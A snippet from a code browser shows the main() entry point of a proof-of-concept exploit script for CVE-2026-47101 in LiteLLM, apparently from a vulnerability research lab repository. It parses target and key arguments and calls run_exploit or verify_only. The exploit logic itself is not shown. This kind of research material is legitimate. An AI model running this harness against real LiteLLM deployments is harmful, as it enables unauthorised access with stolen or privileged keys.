INNER CODE UNIT · Python
main
Unclecheng-li/poc-lab · AI Infrastructure/CVE-2026-47101 LiteLLM/exploit/exploit.py:179
def main() -> int:
args = parse_args()
if args.fixed:
print("[*] Running in fixed-mode semantic marker. Expect the exploit to fail on patched builds.")
try:
if args.verify_only:
return verify_only(args.target, args.key or args.master_key)
return run_exploit(
target=args.target,
master_key=args.master_key,
user_key=args.key,
user_id=args.user_id,
)
except Exception as exc:
print(f"[!] Exploit failed: {exc}", file=sys.stderr)
return 1